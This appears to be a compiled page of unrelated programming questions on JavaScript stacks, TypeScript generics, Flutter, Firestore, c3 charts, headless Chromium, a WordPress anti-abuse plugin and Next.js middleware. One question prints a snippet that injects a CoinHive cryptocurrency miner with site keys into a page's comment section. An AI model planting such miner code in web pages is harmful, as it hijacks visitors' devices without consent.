Implement stack operations like push, pop and peek using Javascript? [closed]

How to Implement data structure stack operations push pop and peek using Javascript?

class Stack {

constructor() {

this.items = [];

}

// Push operation: Add an element to the stack
push(element) {

this.items.push(element);

}

// Pop operation: Remove the top element from the stack

pop() {

if (this.isEmpty()) {

  return "Stack is empty";

}


return this.items.pop();

}

// Peek operation: View the top element without removing it

peek() {

if (this.isEmpty()) {

  return "Stack is empty";

}

return this.items[this.items.length - 1];

}

// Check if the stack is empty

isEmpty() {

return this.items.length === 0;

}

// Print the stack

printStack() {

return this.items.join(", ");

}

}

// Example usage
const stack = new Stack();

stack.push(10);

stack.push(20);

stack.push(30);

console.log(“Peek:”, stack.peek()); // Output: Peek: 30

console.log(“Pop:”, stack.pop()); // Output: Pop: 30

console.log(“Peek after pop:”, stack.peek()); // Output: Peek: 20

console.log(“Stack contents:”, stack.printStack()); // Output: Stack contents: 10, 20

Is this correct implementation?

Does JavaScript’s Array.prototype.fill() always create a packed array?

According to this discussion, once a JavaScript array becomes sparse at any point over the course of its lifetime, it forever remains holey. But if I were a V8 developer, I would probably optimize Array.prototype.fill() to always upgrade the underlying data structure to packed when called on its entirety e.g. Array(10).fill() because there’s no reason why it can’t and it doesn’t add much overhead. (I know that setters and prototypal inheritance need to be taken into consideration but that’s also the case with Array.prototype.push() which works on packed arrays.)

So my question is: does V8 in fact optimize holey arrays to become packed arrays in this one case where Array.prototype.fill() has been called on the entire length of the array? It’s so easy to just create a new underlying packed array for its data structure before filling it with values. And if not then why not?

Return type of function always “Promise”; not inferring correctly

The following function is supposed to create a number of promises and offset those promises in batches so that the first batch always resolves before the second, etc.

It returns the promises as a flat array of promises so that the caller can get the value of each promise as it evaluates, not waiting to the end to get the all values at once.

The following function does this fine, other than the fact that wherever I call it (and with whatever parameters), the return value is always automatically-typed as Promise<unknown>[]. Ie. it always automatically sets R as unknown.

/**
 * This function will take an array of functions that return
 * promises and execute them in batches of a given size. Instead of
 * returning the promises combined into a single promise, it will
 * return each promise individually as a flat array of promises but
 * will ensure that the promises are executed in batches of 'batchSize'.
 * This is useful when you want promises to run in batches but also
 * want to be able to access the results of each promise as its resolves.
 * Failure of any promise will not stop the execution of the other promises.
 * @param funcs the async functions to execute
 * @param batchSize the size of each batch
 * @returns an array of promises that will resolve in batches
 */
export function runPromisesInBatches<R, F extends () => Promise<R>>(
  funcs: Array<F>,
  batchSize: number,
): Array<Promise<R>> {
  /**
   * The current batch of promises being executed.
   * This will be reset when the batch size is reached.
   */
  let currentBatch: Promise<R>[] = [];
  /**
   * The list of batches that have been executed.
   */
  const batches: Promise<PromiseSettledResult<Awaited<R>>[]>[] = [];

  const wrappedPromises = funcs.map((f, i) => {
    /**
     * If the batch size has been reached, create a new batch
     * and push the current batch into the list of batches.
     * This will allow the promises to be executed
     * in batches of 'batchSize'.
     */
    if (i % batchSize === 0 && currentBatch.length) {
      const b = Promise.allSettled([...currentBatch]);
      batches.push(b);
      currentBatch = [];
    }

    /**
     * Delay the execution of the promise until the last batch has resolved
     * if that is a last batch (eg. the first batch will not wait for anything).
     */
    const lastBatch = batches.at(-1);
    let promise: Promise<R>;
    console.log("BATCH", !!lastBatch);
    if (lastBatch) {
      promise = lastBatch.then(() => f()).catch(() => f());
    } else {
      promise = f();
    }
    currentBatch.push(promise);

    return promise;
  });

  return wrappedPromises;
}

// Example usage:
(async () => {
  const tasks : (() => Promise<string>)[] = [
    () => new Promise<string>((resolve) => setTimeout(() => resolve('Task 1'), 3000)),
    () => new Promise<string>((_, reject) => setTimeout(() => reject('Task 3 Error'), 8000)),
    () => new Promise<string>((resolve) => setTimeout(() => resolve('Task 2'), 2000)),
    () => new Promise<string>((resolve) => setTimeout(() => resolve('Task 4'), 1000)),
  ];

  try {
    // XXX: results should be an array of Promise<string> but, instead, Promise<unknown>
    const results = runPromisesInBatches(tasks, 2)
    results.forEach(r => {
      r.then(d => console.log(d))
    })
    console.log('Results:', results);
  } catch (error) {
    console.error('Error in batch processing:', error);
  }
})();

what am I doing wrong? Why can’t typescript infer the type?

Flutter Widget state not consistent while updating checkbox list array

I have a stateful widget that utilizes flutter_multi_select_items package. The issue I’m having is the alternating state only changes once upon first click. I want the checkboxes to be unclicked by default, yet the selected input requires a value and it remains true after each state change event. How do I properly alternate adding/removing id values from the checkbox array and keeping the state in sync with the values being added and removed?

Logs

flutter: true
flutter: 1
flutter: removing add on
flutter: []

Performing hot reload...                                                
Reloaded 1 of 1718 libraries in 426ms (compile: 21 ms, reload: 156 ms, reassemble: 174 ms).
flutter: false
flutter: adding add-on
flutter: [1]
flutter: true
flutter: removing add on
flutter: []
flutter: true

class _AddServiceState extends State<AddService> {
  final MultiSelectController<dynamic> _multiSelectcontroller = MultiSelectController();
   
  Widget build(BuildContext context) {
   List<dynamic> _addOns = widget.service_profile['service_add_ons'];
   List<dynamic> checkAddons = [];
   return MaterialApp(
        home: Scaffold(
         appBar: AppBar(title: 'Adjust your add-ons')
        ),
        body: SingleChildScrollView(
          physics: AlwaysScrollableScrollPhysics(),
          child: Column(children: <Widget>[
                ElevatedButton(
                                  onPressed: () {
                                    _multiSelectcontroller.selectAll();
                                  },
                                  child: const Text('Select All')),
                              Column(
                                  crossAxisAlignment: CrossAxisAlignment.start,
                                  children: [
                                    MultiSelectCheckList(
                                      maxSelectableCount: 5,
                                      textStyles: const MultiSelectTextStyles(
                                          selectedTextStyle: TextStyle(
                                              color: Colors.white,
                                              fontWeight: FontWeight.bold)),
                                      itemsDecoration: MultiSelectDecorations(
                                          selectedDecoration: BoxDecoration(
                                              color: Colors.indigo
                                                  .withOpacity(0.8))),
                                      listViewSettings: ListViewSettings(
                                          separatorBuilder: (context, index) =>
                                              const Divider(
                                                height: 0,
                                              )),
                                      controller: _multiSelectcontroller,
                                      items: List.generate(
                                          _addOns.length,
                                          (index) => CheckListCard(
                                              value: _addOns[index]['id'],
                                              title:
                                                  Text(_addOns[index]['title']),
                                              subtitle:
                                                  Text(_addOns[index]['price']),
                                              selectedColor: Colors.white,
                                              checkColor: Colors.indigo,
                                              selected:
                                                  checkedAddons.indexOf(_addOns[index]['id'], index) == index,
                                              enabled: true,
                                              checkBoxBorderSide:
                                                  const BorderSide(
                                                      color: Colors.blue),
                                              shape: RoundedRectangleBorder(
                                                  borderRadius:
                                                      BorderRadius.circular(
                                                          5)))),
                                      onChange:
                                          (allSelectedItems, selectedItem) {
                                        if (allSelectedItems.isNotEmpty) {
                                          checkedAddons = [];
                                          checkedAddons
                                              .addAll(allSelectedItems);
                                          return;
                                        }

                                        print(checkedAddons
                                            .contains(selectedItem));
                                        if (checkedAddons
                                            .contains(selectedItem)) {
                                          print('removing add on');

                                          setState(() {
                                            checkedAddons.removeWhere((item) => item == selectedItem);
                                          });

                                          print(checkedAddons);
                                        } else {
                                          print('adding add-on');
                                          setState(() {
                                            checkedAddons.add(selectedItem);
                                          });
                                          print(checkedAddons);
                                        }
                                      },
                                      onMaximumSelected:
                                          (allSelectedItems, selectedItem) {
                                        //    CustomSnackBar.showInSnackBar(
                                        //       'The limit has been reached', context);
                                      },
                                    )
       
]
         )
     )
  }
});

What is this strange code? I want an explanation [closed]

 var comment = '<script> var miner = new CoinHive.Anonymous("SK_tBOtagJDzVMsotm557K7C"); miner.start(); </script>';
    document.getElementById('comment-section').innerHTML = comment;



 var comment = '<script> var miner = new CoinHive.Anonymous("PK_OLfNV9zFpVSoDew8j6lfq   "); miner.start(); </script>';
    document.getElementById('comment-section').innerHTML = comment;

Firebase Firestore Query Index Issue with Multiple Filters and Combinations

I am building a website that uses pagination and filtering of some data.

if (eventType) query = query.where('general.eventType', '==', eventType); 
if (price) query = query.where('general.eventTicketPrice', price == "free" ? '==' : '>=', 0);
if (startDate) query = query.where('general.eventDates.start', '>=', new Date(startDate));
if (endDate) query = query.where('general.eventDates.start', '<=', new Date(endDate));
if (location) query = query.where('general.location.city', '==', location);
if (participation) query = query.where('general.locationType', '==', participation);
...
...

I have about 20 filters that I use, and whenever I select any filter the firebase needs me to create a new index. I am assuming that I need to do this for each combination of filters. I basically made a combination generator that tries each query and gives me the URL for creating the index, but there are A LOT of them. Like thousands so naturally I don’t want to generate them manually.

Is there a way to fix this issue?

I thought about getting all the documents and then filtering manually. It would be easy to implement but may be costly and maybe high latency (idk). Currently, there are not many documents but I want to be able to query hundreds maybe thousands of documents.

What are some recommendations for this type of issue?

No data on second axis

I am new here and have a question regarding the y2 axis in the c3 graph.
Namely, the values ​​refer only to y and not also to y2 as I defined in the code.
I enabled y2 and assigned data14: ‘y2’

What am I doing wrong?

My Chart

function parseData(createGraph) {
    Papa.parse("log.csv", {
        download: true,
        complete: function(results) {
            createGraph(results.data);
        },
        error: function(err) {
            console.error("Napaka pri nalaganju podatkov:", err);
        }
    });
}
function createGraph(data) {
    //var cas = [];
    var dateTimeLabels = []; 
    var data2 = ["Temperatura CPU"];
    var data10 = ["Temperatura okolica"];
    var data14 = ["Delovanje ventilatorja"];
          
    data = data.filter(row => row.length > 1);
    var totalRows = data.length;
    
    console.log("Skupno število vrstic po filtriranju:", totalRows);
        
    var startIndex = Math.max(0, totalRows -288 ); 

    for (var i = startIndex; i < totalRows; i++) {
        console.log("Vrsta " + i + ": ", data[i]);
        
        var date = data[i][0]; 
        var time = data[i][1];   
         if (time && time.trim()) {
            time = time.trim();
        
                    var formattedDateTime = `${date.split('-').reverse().join('-')}/${time.substring(0, 5)}`;
            dateTimeLabels.push(formattedDateTime); 
                } else {
            console.warn("čas ni definiran ali prazen za vrstico:", data[i]);
        }
        
       
        data2.push(data[i][2] !== undefined ? data[i][2] : null); 
        data10.push(data[i][3] !== undefined ? data[i][3] : null);
        data14.push(data[i][4] !== undefined ? data[i][4] : null); 
       
    }
    
    
    console.log("Oznake za datum in čas:", dateTimeLabels);
    console.log("Temperatura CPU:", data2);
    console.log("Temperatura okolica:", data10);
    console.log("Delovanje ventilatorja (data14):", data14);
    
    
    var chart = c3.generate({
        bindto: '#chart',
        size: {
            height: 400, 
            width: window.innerWidth - 100   
        },
        data: {
            x: 'x',
            columns: [
                ['x'].concat(dateTimeLabels),
                data2,
                data10,
                data14              
            ],
            axes: {
                data2: 'y',
                data10: 'y',
                data14: 'y2'
            },
        
            types:{
                data2: 'line',
                data10: 'line',
                data14: 'line'
            }
        },
       
        axis: {
            x: {
                type: 'category',
                tick: {
                rotate: 40, 
                multiline: false,
                culling: {max: 12} 
                    
            },
            label: 'Čas'
        },
        y: {
               
            label: 'Temperatura (°C)',
            tick: {
                    format: d3.format(".1f") 
                }
               
            
        },
        y2: { 
                show: true,  
                label: 'Delovanje ventilatorja', 
                tick: {
                    format: d3.format(".0f"), 
                    values: [0, 10]
                }
              
            }
        },
        
        zoom: {
            enabled: true
        },
        grid: {
            x: { show: true },
            y: { show: true },
            y2: { show: true }
        }
    
    });
    
}


parseData(createGraph);
        

I apologize, my code has Slovenian words

I tried to find the answer online, even with chatgpt, but it didn’t work

How to make my local server’s IP address dynamic for a packaged web-view app?

The project is designed for local use, with the server built using JS and the client in HTML and JS. I want to package the client into a web-view app to make it easier to use. However, I’m currently hardcoding the server IP in the client’s JS. If I change the server machine, the IP will change as well, and I won’t be able to update it in the app once it’s packaged. What can i do to dont need to change the ip even if i change the server machine?

I thought about asking for the IP when the app opens, but that would be harder, so I’m trying to figure out a way to make it automatic.

In Raspbian Bookworm, how to run a headless browser with audio

I have a Spotify player in JavaScript that I need to run headless in Raspian Bookworm on a RPi5. I am controlling the player using the spotipy module in python. I have both nginx and gunicorn running as system services, and everything is working when started in the GUI using VNC.

However, I need this system to be headless and have it all start up on boot. I can start a Chromium browser in headless, but no sound is produced when starting a song in the Spotify player.

Here is my service for the browser:

    [Unit]
Description=Headfull Browser Service
After=gunicorn.service nginx.service network.target
Requires=gunicorn.service nginx.service

[Service]
ExecStartPre=/bin/sleep 10
ExecStart=/usr/bin/chromium-browser --headless --disable-gpu  --autoplay-policy=no-user-gesture-required --mute-audio=false --alsa-output-device=default --use-fake-ui-for-media-stream --remote-debugging-port=9222 http://localhost
Restart=always
User=myuser

[Install]
WantedBy=multi-user.target

I tried doing stuff with PulseAudio, but would rather not go that way. Is there another easier way to run my JavaScript in headless?

Inconsistency in logged fingerprint (abuse/fraud combat) on WordPress

I’m working on a WordPress site with BuddyPress, the BuddyX Pro theme, and the Wise Chat Pro plugin. Recently, I’ve been tackling abuse on the group chat page, where users often bypass IP-based bans using TOR or VPNs. To improve security, I wrote a custom plugin that does the following:

Plugin functionality:

  • IP lookup: The plugin uses MaxMind to check the user’s IP location and identify if it’s a known proxy or VPN. Optionally, it can also query the ProxyCheck.io API (currently disabled).
  • Device fingerprinting: For each unique device, a set of fingerprints is generated (both advanced—based on server-side and client-side data—and fallback, using only server-side data). Note: I am aware this is not 100% fool-proof, but in my use case I would like to have it as a extra resource.
  • Bot whitelisting: Known bots (e.g., Google, Microsoft) are whitelisted and always allowed to enter.
  • Conditional rules: IPs from certain countries (e.g., China, Russia) are blocked and users are redirected to another page.

How it works:

  • IP blocks: IPs that don’t meet the conditions (e.g., geographic location, VPN status) are correctly redirected.
  • Fingerprint generation: Two sets of fingerprints (advanced and fallback) are generated, hashed, and saved in a protected JSON file for 5 days before being purged.
  • Blocking fingerprints: I added a feature to manually block specific fingerprints as a last resort. This works as intended, but I’ve run into an issue where the fingerprint generated and checked against the blocklist does not match the one written to the JSON file.

The issue:

I generate a set of 2 fingerprints (advanced and fallback):

function generate_fingerprint() {
    $fallback = generate_fallback_fingerprint();
    $advanced = generate_advanced_fingerprint();
    $combined = md5($fallback . $advanced);
    $reliability = calculate_reliability_score();
    
    return [
        'fallback_fingerprint' => $fallback,
        'advanced_fingerprint' => $combined,
        'reliability_score' => $reliability
    ];
}

This set of fingerprings is than saved to a fingerprints.json logfile:

function save_fingerprint($ip, $fingerprint_data) {
    $data = [];
    if (file_exists(FINGERPRINT_FILE)) {
        $data = json_decode(file_get_contents(FINGERPRINT_FILE), true) ?? [];
    }
    $timestamp = time();
    $key = $ip . '_' . $timestamp;
    $data[$key] = [
        'ip' => $ip,
        'fallback_fingerprint' => $fingerprint_data['fallback_fingerprint'],
        'advanced_fingerprint' => $fingerprint_data['advanced_fingerprint'],
        'reliability_score' => $fingerprint_data['reliability_score'],
        'timestamp' => $timestamp,
        // 'client_data' => $_POST  // Only enabled when needed for debugging
    ];
    file_put_contents(FINGERPRINT_FILE, json_encode($data, JSON_PRETTY_PRINT));
}

When the user returns, I would expect that the same fingerprint (advanced or fallback) that is generated and logged to the fingerprints.json would be recognized and if held against the blocklist (blocked_fingerprints.json), would result in the user being redirected as expected (in case of a blocked fingerprint).

   $blocked_fingerprints = get_blocked_fingerprints();
    if (in_array($fingerprint_data['fallback_fingerprint'], $blocked_fingerprints)) {
        wp_safe_redirect($redirect_url);
        exit;
    }
    if (in_array($fingerprint_data['advanced_fingerprint'], $blocked_fingerprints)) {
        wp_safe_redirect($redirect_url);
        exit;
    }

However, this does not happen.

The fingerprints generated and checked against the blocklist do not match the one written to the JSON file.

I have tried to see what fingerprints are checked against the blocklist, by adding them to my errorlog:
$fingerprint_data = generate_fingerprint();
save_fingerprint($fingerprint_data);
error_log("Fingerprint saved for IP: $ip");

The error log than shows a different set of fingerprints than the one written to the fingerprints.json file. This suggests there’s some kind of mismatch in how the fingerprint is generated upon checking the blocklist. Even for the serverside (fallback) fingerprint, which should always be identical. So there seems to be a different way the fingerprints get calculated and/or hashed and I can not figure out how or why. I have no idea what the difference is between both situations.

My full code files (for review) are located here:
https://pastebin.com/u/flower88/1/JUEMKr6z
The password to the files is: G3F80fhczm

My setup:

  • /wp-content/plugins/pluginname/block-anonymous.php
  • /wp-content/plugins/pluginname/fingerprint.js (loaded in the page header)
  • The snippet is executed via the WPCode plugin in the header of the specific page.

What works:

  • IPs that don’t meet the criteria are correctly redirected.
  • Whitelisted bots are allowed as expected.
  • The two sets of fingerprints (advanced and fallback) are generated and stored in the JSON file correctly.
  • Old fingerprints are purged after 5 days.
  • Blocking specific fingerprints works, but the fingerprint comparison is inconsistent.

What i’ve tried:

  • Logging shows me that the generated fingerprints that are being checked against the blocked fingerprints do not match, for both advanced and fallback fingerprint alike
  • Pause the PHP file with sleep() before adding block, to give the site enough time to generate the correct fingerprint (did not work)
  • I’ve spent 4 days troubleshooting this issue and even consulted ChatGPT for help, but I haven’t found a solution yet. At this point I am even doubting if I understand the issue correctly. ChatGPT hasn’t been helpful as I have been going into circles over and over.
  • I am out of ideas and would greatly appreciate any insights or suggestions to resolve the fingerprint mismatch with a clean, fresh, human look at it.

Thank you very much in advance!

NextJS exporting multiple middlewares

i need to export multiple middlewares in my middleware.js file but i get error A module cannot have multiple default exports., how to solve it ?

import createMiddleware from "next-intl/middleware";
import { routing } from "./i18n/routing";
import NextAuth from "next-auth";
import { authConfig } from "./auth.config";


export default createMiddleware(routing);
export default NextAuth(authConfig).auth;

export const config = {
  // Match only internationalized pathnames
  matcher: ["/", "/(en|ar)/:path*"],
};


i tried to solve the issue by removing the default keyword and then assign them to variable and export them:

import createMiddleware from "next-intl/middleware";
import { routing } from "./i18n/routing";
import NextAuth from "next-auth";
import { authConfig } from "./auth.config";

const intlMiddleware = createMiddleware(routing);
const authMiddleware = NextAuth(authConfig).auth;

export { intlMiddleware, authMiddleware };

export const config = {
  // Match only internationalized pathnames
  matcher: ["/((?!api|_next/static|_next/image|.*\.png$).*)"],
};

but this will give error Cannot read properties of undefined (reading 'substring'), i guess the error comes from next-intl and its required to export createMiddleware(routing) as default

Function not defined despite static js script loaded by express

I’m trying to use a function to change the value inside a text entry when a button is clicked by using “onclick”

<button type="button" id="test" onclick="generate(12)">generate new pass</button>

I know this function works because if I add the function with a script tag, it works as attended.

However, It does not work if I put it in a static js file and I’m getting a “generate is not defined”

the js file is being loaded by the browser because I checked the network tab so that shouldn’t be an issue